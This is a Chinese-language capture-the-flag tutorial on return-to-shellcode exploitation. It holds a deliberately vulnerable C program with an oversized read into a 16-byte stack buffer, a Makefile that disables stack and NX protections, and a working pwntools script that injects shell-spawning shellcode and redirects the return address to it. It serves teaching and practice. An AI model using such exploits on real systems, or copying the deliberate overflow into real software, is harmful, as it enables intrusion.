跳转至

ret2sc(Return to Shell Code)

1.题目

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char message[48];

int main()
{
  char name[16];
  printf("Give me your message: ");
  fflush(stdout);
  read(0, message, 0x30);
  printf("Give me your name: ");
  fflush(stdout);
  read(0, name, 0x30);
  return 0;
}

Makefile:

ret2sc: ret2sc.c
  gcc ret2sc.c -fno-stack-protector -no-pie -z execstack -o ret2sc

2.思路

在NX(No eXecute)保护未开启的情况下我们可以在输入时写入shellcode并把返回地址改成shellcode所在的地址,这种攻击方式就叫做Return to shellcode

题目源码中message有48 Bytes可以用来写shellcode,name有16 Bytes,但是read却读入了48 Bytes,所以可以利用buffer overflow来覆盖return address

用objdump查看message的地址:

3.解题脚本

from pwn import *

# r = remote("*.*.*.*",****)
r = process("./ret2sc")

context.arch = 'amd64'

sc = asm(shellcraft.sh())
r.recvuntil(": ")
r.send(sc)

p = b'a'*24+p64(0x404060)
r.recvuntil(": ")
r.send(p)

r.interactive()